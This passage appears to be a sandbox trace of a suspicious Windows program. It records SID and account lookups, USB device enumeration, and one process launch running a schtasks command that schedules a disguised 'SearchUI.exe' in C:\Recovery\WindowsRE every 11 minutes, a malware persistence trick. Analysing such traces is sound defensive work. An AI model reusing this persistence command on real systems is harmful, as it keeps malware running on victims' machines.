[0124.678] malloc (_Size=0x18) returned 0x196ef0d1b00 [0124.678] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0124.678] SysStringLen (param_1="-") returned 0x1 [0124.678] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0124.679] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0124.679] free (_Block=0x196ef0d2080) [0124.679] free (_Block=0x196ef0d1ce0) [0124.679] malloc (_Size=0x18) returned 0x196ef0d1e00 [0124.679] malloc (_Size=0x18) returned 0x196ef0d1b40 [0124.679] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0124.679] SysStringLen (param_1="1000") returned 0x4 [0124.679] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0124.679] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7c7678, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0124.679] free (_Block=0x196ef0d1b00) [0124.679] free (_Block=0x196ef0d1e00) [0124.679] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0124.679] malloc (_Size=0x5e) returned 0x196ef0d06f0 [0124.679] free (_Block=0x196ef0d1b40) [0124.679] malloc (_Size=0x18) returned 0x196ef0d1a60 [0124.680] free (_Block=0x196ef0d06f0) [0124.680] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0124.707] GetLastError () returned 0x7a [0124.707] malloc (_Size=0x1a) returned 0x196ef0f9c40 [0124.708] malloc (_Size=0xe) returned 0x196ef0d1e60 [0124.708] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9c40, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1e60, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0124.709] malloc (_Size=0x18) returned 0x196ef0d1e80 [0124.709] malloc (_Size=0x18) returned 0x196ef0d1a80 [0124.709] free (_Block=0x196ef0f9c40) [0124.709] free (_Block=0x196ef0d1e60) [0124.709] free (_Block=0x196ef0f9ee0) [0124.709] free (_Block=0x196ef0d1a80) [0124.709] free (_Block=0x196ef0d1e80) [0124.709] free (_Block=0x196ef0d1a60) [0124.709] free (_Block=0x196ef0d0dd0) [0124.710] SetEvent (hEvent=0x248) returned 1 [0124.710] free (_Block=0x196ef0cc850) [0124.710] CreateEnvironmentBlock () returned 0x1 [0124.715] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0124.715] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"SearchUIS\" /sc MINUTE /mo 11 /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"SearchUIS\" /sc MINUTE /mo 11 /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x2fc, dwThreadId=0x88c)) returned 1 [0124.727] CloseHandle (hObject=0x260) returned 1 [0124.727] CloseHandle (hObject=0x264) returned 1 [0124.729] free (_Block=0x196ef0d1fa0) [0124.729] DestroyEnvironmentBlock () returned 0x1 [0124.729] malloc (_Size=0x48) returned 0x196ef0cd160 [0124.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x2b31eb8d, dwHighDateTime=0x1d9eb0c)) [0124.729] SetEvent (hEvent=0x248) returned 1 [0124.730] CloseHandle (hObject=0x270) returned 1 [0124.730] CloseHandle (hObject=0x26c) returned 1 [0124.756] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0124.756] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0124.756] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0124.756] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0179.866] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0180.364] RtlRestoreLastWin32Error () returned 0x670dbf000 [0180.364] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df28, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de20 | out: pulNumLanguages=0x67117df28, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de20) returned 1 [0180.364] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225e60 [0180.364] RtlRestoreLastWin32Error () returned 0x670dbf000 [0180.364] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df28, pwszLanguagesBuffer=0x196ef225e60, pcchLanguagesBuffer=0x67117de20 | out: pulNumLanguages=0x67117df28, pwszLanguagesBuffer=0x196ef225e60, pcchLanguagesBuffer=0x67117de20) returned 1 [0180.364] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225df0 [0180.364] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225e60) returned 1 [0180.364] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee8336b0 [0180.365] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee8336b0, pulNumLanguages=0x67117df28 | out: pulNumLanguages=0x67117df28) returned 1 [0180.365] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8336b0) returned 1 [0180.644] DevObjCreateDeviceInfoList () returned 0x196ee7acff0 [0180.644] DevObjGetClassDevs () returned 0x1 [0180.651] DevObjEnumDeviceInfo () returned 0x1 [0180.651] malloc (_Size=0x58) returned 0x196ef0d5a80 [0180.651] DevObjEnumDeviceInfo () returned 0x1 [0180.651] malloc (_Size=0x58) returned 0x196ef0d5d20 [0180.651] DevObjEnumDeviceInfo () returned 0x1 [0180.651] malloc (_Size=0x58) returned 0x196ef0d58a0 [0180.651] DevObjEnumDeviceInfo () returned 0x1 [0180.651] malloc (_Size=0x58) returned 0x196ef0d5d80 [0180.652] DevObjEnumDeviceInfo () returned 0x1 [0180.652] malloc (_Size=0x58) returned 0x196ef0d5900 [0180.652] DevObjEnumDeviceInfo () returned 0x1 [0180.652] malloc (_Size=0x58) returned 0x196ef0d53c0 [0180.652] DevObjEnumDeviceInfo () returned 0x1 [0180.652] malloc (_Size=0x58) returned 0x196ef0d5a20 [0180.652] DevObjEnumDeviceInfo () returned 0x1 [0180.652] malloc (_Size=0x58) returned 0x196ef0d5420 [0180.652] DevObjEnumDeviceInfo () returned 0x1 [0180.652] malloc (_Size=0x58) returned 0x196ef0d5ae0 [0180.653] DevObjEnumDeviceInfo () returned 0x1 [0180.653] malloc (_Size=0x58) returned 0x196ef0d5720 [0180.653] DevObjEnumDeviceInfo () returned 0x1 [0180.653] malloc (_Size=0x58) returned 0x196ef0d5cc0 [0180.653] DevObjEnumDeviceInfo () returned 0x1 [0180.653] malloc (_Size=0x58) returned 0x196ef0d5960 [0180.653] DevObjEnumDeviceInfo () returned 0x1 [0180.653] malloc (_Size=0x58) returned 0x196ef0d60e0 [0180.692] DevObjEnumDeviceInfo () returned 0x1 [0180.692] malloc (_Size=0x58) returned 0x196ef0d6080 [0180.692] DevObjEnumDeviceInfo () returned 0x1 [0180.692] malloc (_Size=0x58) returned 0x196ef0d5b40 [0180.692] DevObjEnumDeviceInfo () returned 0x1 [0180.692] malloc (_Size=0x58) returned 0x196ef0d56c0 [0180.693] DevObjEnumDeviceInfo () returned 0x1 [0180.693] malloc (_Size=0x58) returned 0x196ef0d5ba0 [0180.693] DevObjEnumDeviceInfo () returned 0x1 [0180.693] malloc (_Size=0x58) returned 0x196ef0d59c0 [0180.693] DevObjEnumDeviceInfo () returned 0x1 [0180.693] malloc (_Size=0x58) returned 0x196ef0d62c0 [0180.693] DevObjEnumDeviceInfo () returned 0x1 [0180.693] malloc (_Size=0x58) returned 0x196ef0d5480 [0180.693] DevObjEnumDeviceInfo () returned 0x1 [0180.693] malloc (_Size=0x58) returned 0x196ef0d5780 [0180.694] DevObjEnumDeviceInfo () returned 0x1 [0180.694] malloc (_Size=0x58) returned 0x196ef0d6140 [0180.694] DevObjEnumDeviceInfo () returned 0x1 [0180.694] malloc (_Size=0x58) returned 0x196ef0d6200 [0180.694] DevObjEnumDeviceInfo () returned 0x1 [0180.694] malloc (_Size=0x58) returned 0x196ef0d5de0 [0180.694] DevObjEnumDeviceInfo () returned 0x1 [0180.694] malloc (_Size=0x58) returned 0x196ef0d5840 [0180.694] DevObjEnumDeviceInfo () returned 0x1 [0180.694] malloc (_Size=0x58) returned 0x196ef0d57e0 [0180.695] DevObjEnumDeviceInfo () returned 0x1 [0180.695] malloc (_Size=0x58) returned 0x196ef0d5e40 [0180.695] DevObjEnumDeviceInfo () returned 0x1 [0180.695] malloc (_Size=0x58) returned 0x196ef0d54e0 [0180.695] DevObjEnumDeviceInfo () returned 0x1 [0180.695] malloc (_Size=0x58) returned 0x196ef0d5540 [0180.695] DevObjEnumDeviceInfo () returned 0x1 [0180.695] malloc (_Size=0x58) returned 0x196ef0d5ea0 [0180.696] DevObjEnumDeviceInfo () returned 0x1 [0180.696] malloc (_Size=0x58) returned 0x196ef0d55a0 [0180.696] DevObjEnumDeviceInfo () returned 0x1 [0180.696] malloc (_Size=0x58) returned 0x196ef0d5f00 [0180.696] DevObjEnumDeviceInfo () returned 0x1 [0180.696] malloc (_Size=0x58) returned 0x196ef0d5600 [0180.696] DevObjEnumDeviceInfo () returned 0x1 [0180.697] malloc (_Size=0x58) returned 0x196ef0d5c00 [0180.697] DevObjEnumDeviceInfo () returned 0x1 [0180.697] malloc (_Size=0x58) returned 0x196ef0d6260 [0180.697] DevObjEnumDeviceInfo () returned 0x1 [0180.697] malloc (_Size=0x58) returned 0x196ef0d5660 [0180.697] DevObjEnumDeviceInfo () returned 0x1 [0180.697] malloc (_Size=0x58) returned 0x196ef0d5c60 [0180.698] DevObjEnumDeviceInfo () returned 0x1 [0180.698] malloc (_Size=0x58) returned 0x196ef0d5f60 [0180.699] DevObjEnumDeviceInfo () returned 0x1 [0180.699] malloc (_Size=0x58) returned 0x196ef0d5fc0 [0180.699] DevObjEnumDeviceInfo () returned 0x1 [0180.699] malloc (_Size=0x58) returned 0x196ef0d6020 [0180.699] DevObjEnumDeviceInfo () returned 0x1 [0180.699] malloc (_Size=0x58) returned 0x196ef0d61a0 [0180.699] DevObjEnumDeviceInfo () returned 0x1 [0180.699] malloc (_Size=0x58) returned 0x196ef0fa270 [0180.700] DevObjEnumDeviceInfo () returned 0x1 [0180.700] malloc (_Size=0x58) returned 0x196ef0fa2d0 [0180.700] DevObjEnumDeviceInfo () returned 0x1 [0180.700] malloc (_Size=0x58) returned 0x196ef0fadb0 [0180.700] DevObjEnumDeviceInfo () returned 0x1 [0180.700] malloc (_Size=0x58) returned 0x196ef0fa450 [0180.700] DevObjEnumDeviceInfo () returned 0x1 [0180.700] malloc (_Size=0x58) returned 0x196ef0fab10 [0180.701] DevObjEnumDeviceInfo () returned 0x1 [0180.701] malloc (_Size=0x58) returned 0x196ef0fa870 [0180.701] DevObjEnumDeviceInfo () returned 0x1 [0180.701] malloc (_Size=0x58) returned 0x196ef0fa6f0 [0180.701] DevObjEnumDeviceInfo () returned 0x1 [0180.701] malloc (_Size=0x58) returned 0x196ef0fb110 [0180.701] DevObjEnumDeviceInfo () returned 0x1 [0180.701] malloc (_Size=0x58) returned 0x196ef0fac90 [0180.701] DevObjEnumDeviceInfo () returned 0x1 [0180.701] malloc (_Size=0x58) returned 0x196ef0fa210 [0180.702] DevObjEnumDeviceInfo () returned 0x1 [0180.702] malloc (_Size=0x58) returned 0x196ef0fabd0 [0180.702] DevObjEnumDeviceInfo () returned 0x1 [0180.702] malloc (_Size=0x58) returned 0x196ef0fa810 [0180.702] DevObjEnumDeviceInfo () returned 0x1 [0180.702] malloc (_Size=0x58) returned 0x196ef0fac30 [0180.702] DevObjEnumDeviceInfo () returned 0x1 [0180.702] malloc (_Size=0x58) returned 0x196ef0fa4b0 [0180.703] DevObjEnumDeviceInfo () returned 0x1 [0180.703] malloc (_Size=0x58) returned 0x196ef0facf0 [0180.703] DevObjEnumDeviceInfo () returned 0x1 [0180.703] malloc (_Size=0x58) returned 0x196ef0fa690 [0180.703] DevObjEnumDeviceInfo () returned 0x1 [0180.703] malloc (_Size=0x58) returned 0x196ef0fad50 [0180.703] DevObjEnumDeviceInfo () returned 0x1 [0180.703] malloc (_Size=0x58) returned 0x196ef0fa5d0 [0180.703] DevObjEnumDeviceInfo () returned 0x1 [0180.703] malloc (_Size=0x58) returned 0x196ef0faa50 [0180.704] DevObjEnumDeviceInfo () returned 0x1 [0180.704] malloc (_Size=0x58) returned 0x196ef0faed0 [0180.704] DevObjEnumDeviceInfo () returned 0x1 [0180.704] malloc (_Size=0x58) returned 0x196ef0fa630 [0180.704] DevObjEnumDeviceInfo () returned 0x0 [0180.704] DevObjDestroyDeviceInfoList () returned 0x1 [0180.705] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0180.705] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0180.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0180.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0180.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0180.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0180.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0180.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0180.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0180.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0180.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0180.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0180.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0180.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0180.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0180.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0180.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0180.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0180.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0180.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0180.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0180.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0180.708] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0180.708] malloc (_Size=0x18) returned 0x196ef0d2000 [0180.709] CM_Get_Device_IDA (in: dnDevInst=0x9, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\VID_1532&PID_0102\\68284") returned 0x0 [0180.709] malloc (_Size=0x48) returned 0x196ef0cd160 [0180.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4c903eed, dwHighDateTime=0x1d9eb0c)) [0180.709] SetEvent (hEvent=0x248) returned 1 [0180.713] SetEvent (hEvent=0x248) returned 1 [0180.714] free (_Block=0x196ef0cd160) [0180.714] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0180.714] malloc (_Size=0x6c) returned 0x196ef0d2120 [0180.714] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d2120, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d2120, pulLength=0x67117d608) returned 0x0 [0180.715] free (_Block=0x196ef0d2120) [0180.715] malloc (_Size=0x48) returned 0x196ef0ccda0 [0180.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4c903eed, dwHighDateTime=0x1d9eb0c)) [0180.715] SetEvent (hEvent=0x248) returned 1 [0180.716] malloc (_Size=0x18) returned 0x196ef0d1e60 [0180.716] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0180.716] free (_Block=0x196ef0d1e60) [0180.716] malloc (_Size=0x18) returned 0x196ef0d2080 [0180.716] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0180.717] free (_Block=0x196ef0d2080) [0180.717] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8561e0 [0180.717] SafeArrayGetDim (psa=0x196ef1f2230) returned 0x1 [0180.717] SafeArrayGetLBound (in: psa=0x196ef1f2230, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0180.717] SafeArrayGetUBound (in: psa=0x196ef1f2230, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0180.717] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b65f0 [0180.717] SafeArrayGetDim (psa=0x196ef1f2230) returned 0x1 [0180.717] SafeArrayGetUBound (in: psa=0x196ef1f2230, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0180.717] SafeArrayGetElemsize (psa=0x196ef1f2230) returned 0x8 [0180.717] SafeArrayGetElement (in: psa=0x196ef1f2230, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0180.718] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8335b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0180.718] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8335b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0180.719] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b65f0) returned 1 [0180.726] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8561e0) returned 1 [0180.726] SetEvent (hEvent=0x248) returned 1 [0180.727] free (_Block=0x196ef0ccda0) [0180.727] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0180.728] malloc (_Size=0x90) returned 0x196ef0d31b0 [0180.728] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d31b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d31b0, pulLength=0x67117d608) returned 0x0 [0180.728] free (_Block=0x196ef0d31b0) [0180.728] malloc (_Size=0x48) returned 0x196ef0cd160 [0180.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4c936f0b, dwHighDateTime=0x1d9eb0c)) [0180.729] SetEvent (hEvent=0x248) returned 1 [0180.730] malloc (_Size=0x18) returned 0x196ef0d1e20 [0180.730] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0180.730] free (_Block=0x196ef0d1e20) [0180.730] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0180.730] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0180.730] free (_Block=0x196ef0d1ca0) [0180.730] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0180.730] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ef1f26a8) returned 0x0 [0180.730] free (_Block=0x196ef0d1ba0) [0180.730] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0180.730] SafeArrayGetDim (psa=0x196ef1f2230) returned 0x1 [0180.730] SafeArrayGetLBound (in: psa=0x196ef1f2230, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0180.730] SafeArrayGetUBound (in: psa=0x196ef1f2230, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0180.730] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6680 [0180.734] SafeArrayGetDim (psa=0x196ef1f2230) returned 0x1 [0180.734] SafeArrayGetUBound (in: psa=0x196ef1f2230, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0180.734] SafeArrayGetElemsize (psa=0x196ef1f2230) returned 0x8 [0180.734] SafeArrayGetElement (in: psa=0x196ef1f2230, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0180.735] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0180.735] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0180.735] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0180.736] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6680) returned 1 [0180.737] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0180.737] SetEvent (hEvent=0x248) returned 1 [0180.739] free (_Block=0x196ef0cd160) [0180.739] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0180.810] malloc (_Size=0x48) returned 0x196ef0cd160 [0180.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ca0ecc6, dwHighDateTime=0x1d9eb0c)) [0180.810] SetEvent (hEvent=0x248) returned 1 [0180.812] SetEvent (hEvent=0x248) returned 1 [0180.813] free (_Block=0x196ef0cd160) [0180.813] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0180.813] malloc (_Size=0x48) returned 0x196ef0ccda0 [0180.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ca0ecc6, dwHighDateTime=0x1d9eb0c)) [0180.814] SetEvent (hEvent=0x248) returned 1 [0180.815] SetEvent (hEvent=0x248) returned 1 [0180.816] free (_Block=0x196ef0ccda0) [0180.816] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0180.816] malloc (_Size=0x48) returned 0x196ef0cd160 [0180.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ca0ecc6, dwHighDateTime=0x1d9eb0c)) [0180.817] SetEvent (hEvent=0x248) returned 1 [0180.818] SetEvent (hEvent=0x248) returned 1 [0180.818] free (_Block=0x196ef0cd160) [0180.819] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0180.819] malloc (_Size=0x48) returned 0x196ef0cd160 [0180.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ca0ecc6, dwHighDateTime=0x1d9eb0c)) [0180.819] SetEvent (hEvent=0x248) returned 1 [0180.823] SetEvent (hEvent=0x248) returned 1 [0180.827] free (_Block=0x196ef0cd160) [0180.827] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0180.833] malloc (_Size=0x48) returned 0x196ef0ccda0 [0180.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4ca351b5, dwHighDateTime=0x1d9eb0c)) [0180.834] SetEvent (hEvent=0x248) returned 1 [0180.835] SetEvent (hEvent=0x248) returned 1 [0180.835] free (_Block=0x196ef0ccda0) [0180.836] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x9, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0180.836] malloc (_Size=0x48) returned 0x196ef0ccda0 [0180.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: 